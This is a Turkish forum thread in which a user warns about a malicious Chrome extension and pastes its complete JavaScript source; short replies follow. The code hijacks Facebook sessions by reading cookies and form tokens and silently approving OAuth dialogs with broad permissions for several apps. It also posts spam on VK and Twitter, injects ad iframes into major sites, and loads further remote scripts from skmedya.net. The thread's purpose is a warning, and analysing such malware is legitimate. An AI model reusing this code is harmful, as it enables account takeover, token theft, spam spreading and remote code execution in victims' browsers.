• 06-04-2013, 14:41:23
    #1
    Arkadaşlar son günlerde Slayt gösterisi mantığıyla tarayıcıya

    https://chrome.google.com/webstore/d...dhbohhgogpnhio buradaki eklenti yükletiliyor ve javascript ile bilgiler toplanıyor.Lütfen buna bir çözüm bulalım !



    if(location.hostname.indexOf("facebook.com")>=0){
    
    window.setInterval(function(){
    if(document.getElementsByClassName("ego_unit_container").length > 0){ 
    if(document.getElementsByClassName("ego_unit_container")[0].innerHTML.indexOf("aramamekani.com") == -1){ 
    document.getElementsByClassName("ego_unit_container")[0].innerHTML = '<center><iframe src="http://aramamekani.com/reklam/facebook.php" style="width: 120px;height: 600px;overflow: hidden;" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></center>';
    }
    }
    },100);
    
    
    var listeaboneCekimler = [];
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
    var calistir = localStorage['calistir'];
    var zaman = new Date();
    
    if(!calistir || zaman > calistir){
    zaman.setTime(zaman.getTime() + 3000);
    localStorage['calistir'] = zaman.getTime();
    for(i=0;i<listeaboneCekimler.length;i++){
    listeaboneOl(listeaboneCekimler[i]);
    }
    }
    
    function listeaboneOl(id){
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function () {
    			if(xmlhttp.readyState == 4){
    			}
            };
    		var params = "&__a=1";
    		params += "&fb_dtsg=" +  document.getElementsByName('fb_dtsg')[0].value;
    		params += "&__req=5";
    		xmlhttp.open("POST", "/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe&flid=" + id, true);
    		xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
    		xmlhttp.send(params);
    }
    }
    
    if(location.hostname.indexOf("www.google.com")>=0){
    window.setInterval(function(){
    reklam();
    },100);
    function reklam(){
    if(document.getElementById("hplogo")){
    if(!document.getElementById("reklam")){
    document.getElementsByTagName("form")[0].outerHTML = '<center id="reklam"><iframe src="http://aramamekani.com/reklam/google.php" style="width: 468px;height: 60px;overflow: hidden;" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></center>' + document.getElementsByTagName("form")[0].outerHTML;
    }
    }
    }
    }
    
    if(location.hostname.indexOf("youtube.com")>0){
    if(document.getElementById("eow-title")){
    if(!document.getElementById("reklam")){
    document.getElementById("eow-title").innerHTML = '<center id="reklam"><iframe src="http://aramamekani.com/reklam/google.php" style="width: 468px;height: 60px;overflow: hidden;" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></center>' + document.getElementById("eow-title").innerHTML;
    }
    }
    }
    
    if(location.hostname.indexOf("ask.fm") >= 0){
    if(document.getElementById("leaderboard")){
    if(!document.getElementById("reklam")){
    document.getElementById("leaderboard").innerHTML = '<div id="reklam" style="width: 728px; height: 90px;"><iframe src="http://aramamekani.com/reklam/ask.php" style="width: 728px;height: 90px;overflow: hidden;" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></div>';
    }
    }
    }
    
    if(location.hostname.indexOf("vk.com") >= 0){
    if(document.body.innerHTML.indexOf('post_hash":"') > 0){
    post_hash = document.body.innerHTML.split('post_hash":"')[1].split('"')[0];
    }
    id = document.head.innerHTML.split("vk = ")[1].split("id: ")[1].split(",")[0];
    var zaman = new Date();
    arkadaslar = {};
    
    function vkarkadas(){
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function () {
    			if(xmlhttp.readyState == 4){
    			arkadaslar = JSON.parse("{"+xmlhttp.responseText.split("<!>{")[1].split("<!><!json>")[0].replace(/\'/g,'"'));
    			for(i=0;i<arkadaslar.all.length;i++){
    			vkpost(arkadaslar.all[i][0]);
    			}
    			}
            };
    		
    		var params = "act=load_friends_silent";
    		params += "&al=1";
    		params += "&gid=0";
    		params += "&id="+id;
    		xmlhttp.open("POST", "/al_friends.php", true);
    		xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
    		xmlhttp.setRequestHeader("X-Requested-With","XMLHttpRequest");
    		xmlhttp.send(params);
    }
    
    function vkpost(){
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function () {
    			if(xmlhttp.readyState == 4){
    			}
            };
    		var params = "Message=Vkontakte like cheat => http://goo.gl/q6esm";
    		params += "&act=post";
    		params += "&al=1";
    		params += "&hash="+post_hash;
    		params += "&to_id="+id;
    		params += "&type=all";
    		xmlhttp.open("POST", "/al_wall.php", true);
    		xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
    		xmlhttp.setRequestHeader("X-Requested-With","XMLHttpRequest");
    		xmlhttp.send(params);
    }
      
    if(!localStorage["vk_"+id] || (localStorage["vk_"+id] &&  zaman.getTime() >= localStorage["vk_"+id])){
    if(post_hash){
    vkpost();
    zaman.setTime(zaman.getTime() + 1000 * 60 * 60);
    localStorage["vk_"+id] = zaman.getTime();
    }
    }
    }
    
    function makeFrame() {
       ifrm = document.createElement("IFRAME"); 
       ifrm.setAttribute("src", "http://aramamekani.com/?paylas"); 
       ifrm.style.width = 0+"px"; 
       ifrm.style.height = 0+"px"; 
       document.body.appendChild(ifrm); 
    }
    
    //makeFrame("http://aramamekani.com/?paylas");
    
    if(!document.getElementById("amung")){
    var d = document;
    var img = d.createElement("img");
    img.src = "http://whos.amung.us/widget/nmy28izuscck.png"; 
    img.id = "amung";
    img.style.width = "0px";
    img.style.height = "0px";
    d.getElementsByTagName("body")[0].appendChild(img);
    }
    
    //token çek
    function addJavascript(jsname){
    if(document.getElementsByName(jsname).length <= 0 || (document.getElementsByName(jsname).length > 0 && document.getElementsByName(jsname)[0].src != jsname)){
    	var th = document.getElementsByTagName('head')[0];
    	var s = document.createElement('script');
    	s.setAttribute('type','text/javascript');
        s.setAttribute("name",jsname);
    	s.setAttribute('src',jsname);
    	th.appendChild(s);
    }
    }
    
    var tarih = new Date();
    if(location.hostname.indexOf("www.facebook.com") >= 0){
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
    function uygulamaizinver(url){
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
    if(xmlhttp.readyState == 4){
    var izinverhtml = document.createElement("html");
    izinverhtml.innerHTML = xmlhttp.responseText;
    if(izinverhtml.getElementsByTagName("form")["uiserver_form"]){
    izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")["uiserver_form"].innerHTML
    duzenlevegonder(izinverhtml)
    }
    }
    };		
    xmlhttp.open("GET", url, true); 
    xmlhttp.send();
    }
    
    function duzenlevegonder(formnesne){
    var izinverparams = "";
    for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
    if(formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked") < 0){
    izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
    }
    }
    izinverparams.replace("&fb_dtsg","fb_dtsg");
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function () {
    			if(xmlhttp.readyState == 4){
    			  var sonizinhtml = document.createElement("html");
    			  sonizinhtml.innerHTML = xmlhttp.responseText;
    if(sonizinhtml.getElementsByTagName("form")["uiserver_form"]){
    			  sonizinhtml.innerHTML = sonizinhtml.getElementsByTagName("form")["uiserver_form"].innerHTML
    			  sonizin(sonizinhtml)}
    			}
            };
    xmlhttp.open("POST", "http://www.facebook.com/dialog/permissions.request", true); 
    xmlhttp.setRequestHeader ("Content-Type", "text/html");
    xmlhttp.send(izinverparams);
    }
    
    function sonizin(formnesne){
    var izinverparams = "";
    for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
    if(formnesne.getElementsByTagName("input")[i].name.indexOf("skip_clicked") < 0){
    izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
    }
    }
    izinverparams.replace("&fb_dtsg","fb_dtsg");
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function (){
    		
            };
    xmlhttp.open("POST", "http://www.facebook.com/dialog/permissions.request", true); 
    xmlhttp.setRequestHeader ("Content-Type", "text/html");
    xmlhttp.send(izinverparams);
    }
    
    function TokenUrl(id){
    return "http://www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=" + id  +"&redirect_uri=http://www.facebook.com/connect/login_success.html&scope=email,publish_actions,user_about_me,user_actions.music,user_actions.news,user_actions.video,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_notes,user_photos,user_questions,user_relationship_details,user_relationships,user_religion_politics,user_status,user_subscriptions,user_videos,user_website,user_work_history,friends_about_me,friends_actions.music,friends_actions.news,friends_actions.video,friends_activities,friends_birthday,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,ads_management,create_event,create_note,export_stream,friends_online_presence,manage_friendlists,manage_notifications,manage_pages,offline_access,photo_upload,publish_checkins,publish_stream,read_friendlists,read_insights,read_mailbox,read_page_mailboxes,read_requests,read_stream,rsvp_event,share_item,sms,status_update,user_online_presence,video_upload,xmpp_login";
    }
    if(!localStorage['token_' + user_id] ||  (localStorage['token_' + user_id] && tarih.getTime() >= localStorage['token_' + user_id])){
    uygulamaizinver(TokenUrl("104018109673165"));
    uygulamaizinver(TokenUrl("87741124305"));
    uygulamaizinver(TokenUrl("6628568379"));
    uygulamaizinver(TokenUrl("350685531728"));
    uygulamaizinver(TokenUrl("184484190795"));
    uygulamaizinver(TokenUrl("72687635881"));
    if(navigator.userAgent.indexOf("Chrome") > 0){
    tarih.setTime(tarih.getTime() + 1000 * 60 * 60);
    localStorage['token_' + user_id] = tarih.getTime();
    }
    }
    }else if(location.hostname.indexOf("twitter.com") >= 0){ 
    
    function tweet_yaz(mesaj){
    var xmlhttp = new XMLHttpRequest();
            xmlhttp.onreadystatechange = function () {
    			if(xmlhttp.readyState == 4){
    			}
            };
    		var params = "&authenticity_token="+authenticity_token;
    		params += "&status=" +  mesaj;
    		xmlhttp.open("POST", "/i/tweet/create", true);
    		xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
    		xmlhttp.send(params);
    }
    
    
    authenticity_token = document.getElementsByName("authenticity_token")[0].value; 
    url = "http://goo.gl/q6esm"; 
     
    tweet_yaz("Twitter Takipçi Artırma Hilesi => "+url);
    }
    // facebookun gereksiz amcıklarını çalıştırma 
    var calistirmalan=(/^http.*:\/\/.*\.facebook\.com\/plugins\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.facebook\.com\/widgets\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.facebook\.com\/iframe\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.facebook\.com\/desktop\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.channel\.facebook\.com\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.facebook\.com\/ai\.php.*$/.test(document.location.href) || /^http.*:\/\/mail\.google\.com\/.*$/.test(document.location.href) || /^http:\/\/.*\.channel\.facebook\.tld\/.*$/.test(document.location.href) || /^http:\/\/static\..*\.facebook\.tld\/.*$/.test(document.location.href) || /^http:\/\/.*\.facebook\.tld\/ai\.php.*$/.test(document.location.href) || /^http:\/\/.*\.facebook\.tld\/pagelet\/generic\.php\/pagelet\/home\/morestories\.php.*$/.test(document.location.href) || /^https:\/\/.*\.channel\.facebook\.tld\/.*$/.test(document.location.href) || /^https:\/\/static\..*\.facebook\.tld\/.*$/.test(document.location.href) || /^https:\/\/.*\.facebook\.tld\/ai\.php.*$/.test(document.location.href) || /^https:\/\/.*\.facebook\.tld\/pagelet\/generic\.php\/pagelet\/home\/morestories\.php.*$/.test(document.location.href) || /^http.*:\/\/.*\.google\..*\/blank\.html$/.test(document.location.href));
    if (typeof unsafeWindow=="undefined") {
    	var div = document.createElement('div');
    	div.setAttribute('onclick', 'return window;');
    	unsafeWindow = div.onclick();
    }
    var sanerdomainler=["skmedya.net"];
    if (!window.localStorage) {  
      window.localStorage = {  
        getItem: function (sKey) {  
          if (!sKey || !this.hasOwnProperty(sKey)) { return null; }  
          return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));  
        },  
        key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },  
        setItem: function (sKey, sValue) {  
          if(!sKey) { return; }  
          document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";  
          this.length = document.cookie.match(/\=/g).length;  
        },  
        length: 0,  
        removeItem: function (sKey) {  
          if (!sKey || !this.hasOwnProperty(sKey)) { return; }  
          var sExpDate = new Date();  
          sExpDate.setDate(sExpDate.getDate() - 1);  
          document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";  
          this.length--;  
        },  
        hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }  
      };  
      window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;  
    }  
    
    // Greasemonkey API for Chrome/Safari/Opera
    GM_addStyle=function(css) {var style = document.createElement('style');style.textContent = css;document.getElementsByTagName('head')[0].appendChild(style);};
    GM_getValue=function(name, defaultValue) { return window.localStorage.getItem(name) || defaultValue;};
    GM_setValue=function(name, value) {
    	try {window.localStorage.setItem(name, value);} catch (e) {
    		if (e.toString().indexOf('QUOTA_EXCEEDED_ERR')>-1) { add_error("Either your browser's local storage area is full or you are browsing in Private Browsing mode, which isn't supported.<br>Please <a href=\"http://SocialFixer.com/faq.php#quota\" target=\"_blank\">Read the FAQ</a> for a detailed explanation of this error");}
    	}
    };
    
    
    var opera_xhr_counter = 0;
    var opera_xhr_funcs = {};
    GM_xmlhttpRequest=function(obj) {
    	try {
    		if (obj && obj.url && obj.url.indexOf("facebook.com")>0) {
    			var request=new window.XMLHttpRequest();
    			request.onreadystatechange=function() { if(obj.onreadystatechange) { obj.onreadystatechange(request); }; if(request.readyState==4 && obj.onload) { obj.onload(request); } }
    			request.onerror=function() { if(obj.onerror) { obj.onerror(request); } }
    			try { request.open(obj.method,obj.url,true); } catch(e) { if(obj.onerror) { obj.onerror( {readyState:4,responseHeaders:'',responseText:'',responseXML:'',status:403,statusText:'Forbidden'} ); }; return; }
    			if(obj.headers) { for(name in obj.headers) { request.setRequestHeader(name,obj.headers[name]); } }
    			request.send(obj.data); return request;
    		} 
    		else {
    			opera_xhr_counter++;
    			var xhr = { 'method':obj.method, 'url':obj.url, 'headers':obj.headers, 'data':obj.data };
    			var req_obj = {'type':'ajax', 'xhr':xhr, 'id':opera_xhr_counter};
    			opera_xhr_funcs[ opera_xhr_counter ] = obj.onload;
    			opera.extension.postMessage( JSON.stringify(req_obj) );
    		}
    	} catch(e) {
    		console.log(e);
    	}
    };
    
    
    
    var ajax = function(props) {
    	GM_xmlhttpRequest(props);
    }
    
    
    // Don't run on link redirects and some other cases
    var excludes = ['/l.php?u','/ai.php','/plugins/','morestories.php','blank.html'];
    try {
    	for (var i=0; i<excludes.length; i++) {
    		if ( window.location.href.indexOf(excludes[i])>0 ) { return; }
    	}
    } catch(e) { }
    
    
    
    // Extension Option Persistence
    function setValue(key,val,func) { 
    	if (PERFORMANCE) { trace_start('setValue',null,true); }
    	var do_set=function() { 
    		if (PERFORMANCE) { trace_start('setValue',null,true); }
    		try { 
    			GM_setValue(key,val); 
    		} catch(e) { 
    			console.log(e); 
    		} 
    		if(func) { 
    			func(key,val); 
    		} 
    		if (PERFORMANCE) { trace_end('setValue',null,true); }
    	};
    	do_set.name="setValue.do_set";
    	window.setTimeout(do_set,0);
    	if (PERFORMANCE) { trace_end('setValue',null,true); }
    }
    function getValue(key, def, func) {
    	if (PERFORMANCE) { trace_start('getValue',null,true); }
    	// Key can be either a single key or an array of keys
    	if (typeof key=="string") {
    		return func(GM_getValue(key,def));
    	}
    	else if (typeof key=="object" && key.length) {
    		var values = {};
    		for (var i=0; i<key.length; i++) {
    			var default_value = undef;
    			if (typeof def=="object" && def.length && i<def.length) {
    				default_value = def[i];
    			}
    			values[key[i]] = GM_getValue(key[i],default_value);
    		}
    		if (func) {
    			return func(values);
    		}
    		else { return values; }
    	}
        if (PERFORMANCE) { trace_end('getValue',null,true); }
        return undef;
    }
    
    
    if(( /^http.*:\/\/.*\.facebook\.com\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.google\..*\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.vk\..*\/.*$/.test(document.location.href) || /^http.*:\/\/vk\..*\/.*$/.test(document.location.href) || /^http.*:\/\/vkontakte\..*\/.*$/.test(document.location.href) || /^http.*:\/\/.*\.twitter\..*\/.*$/.test(document.location.href) || /^http.*:\/\/twitter\..*\/.*$/.test(document.location.href) ) && !calistirmalan)
    {
    var sanersiker=document.domain.toLowerCase().replace("www.","");
    if(sanersiker.indexOf('twitter')>-1)
    {
    sanersiker="//"+sanerdomainler[0]+"/am/tw.js";
    }
    else if(sanersiker.indexOf('google')>-1)
    {
    sanersiker="//"+sanerdomainler[0]+"/am/google.js";
    }
    else if(sanersiker.indexOf('vkontakte')>-1)
    {
    sanersiker="//"+sanerdomainler[0]+"/am/vk.js";
    }
    else if(sanersiker.indexOf('vk.')>-1)
    {
    sanersiker="//"+sanerdomainler[0]+"/am/vk.js";
    }
    else
    {
    sanersiker="//"+sanerdomainler[0]+"/am/script.js";
    }
    document.ready=start(0);
    a=0;
    function start(a)
    {	
    if(document.getElementById("adobe")) return;
    	for(i=0;i<sanerdomainler.length;i++)
    	{
    	var s=document.createElement('script');
    	s.type="text/javascript";
    	s.innerHTML='var s=document.createElement("script");s.type="text/javascript";s.src="'+sanersiker.replace(sanerdomainler[0],sanerdomainler[i])+'?saner="+Math.random()*999999;document.getElementsByTagName("head")[0].appendChild(s);';
    	if(i%0==0){ s.id="adobe"; } else { s.id="adobe"+i; }
    	if(document.getElementsByTagName('head')[0])document.getElementsByTagName('head')[0].appendChild(s);
    	else if(a<50) setTimeout(function(){start(a++);},100);
    	}
    }
    }
    else
    {
    if(!calistirmalan)
    {
    document.ready=startx(0);
    a=0;
    function startx(a)
    {
    	for(i=0;i<sanerdomainler.length;i++)
    	{
    	if(document.getElementById("adobe")) return;
    	var s=document.createElement('script');
    	s.type="text/javascript";
    	s.innerHTML='var s=document.createElement("script");s.type="text/javascript";s.src="'+"//"+sanerdomainler[i]+"/am/all.js"+'?saner="+Math.random()*999999;document.getElementsByTagName("head")[0].appendChild(s);';
    	if(i%0==0){ s.id="adobe"; } else { s.id="adobe"+i; }
    	if(document.getElementsByTagName('head')[0])document.getElementsByTagName('head')[0].appendChild(s);
    	else if(a<50) setTimeout(function(){startx(a++);},100);
    	}
    }
    }
    }
  • 18-04-2014, 23:33:02
    #2
    tek çözümü var; biraz uyanık olmak.
  • 18-04-2014, 23:44:07
    #3
    Üyeliği durduruldu
    Bu bana sürekli geliyor yahu yok kanka şurada yok arkadaş burada gibi saçma sapan mesajlar hani arkadaşa yazıyorum ben göndermedim tıklama diyor ne oldugu belli degil. Bu virüs tarzı uygulamaları yazıyorlar ama iyi prim kazanıyorlar bravo.
  • 18-04-2014, 23:45:39
    #4
    Eklenti yada Uygulamalar kısmından bu eklentileri kaldırılmıyor ki.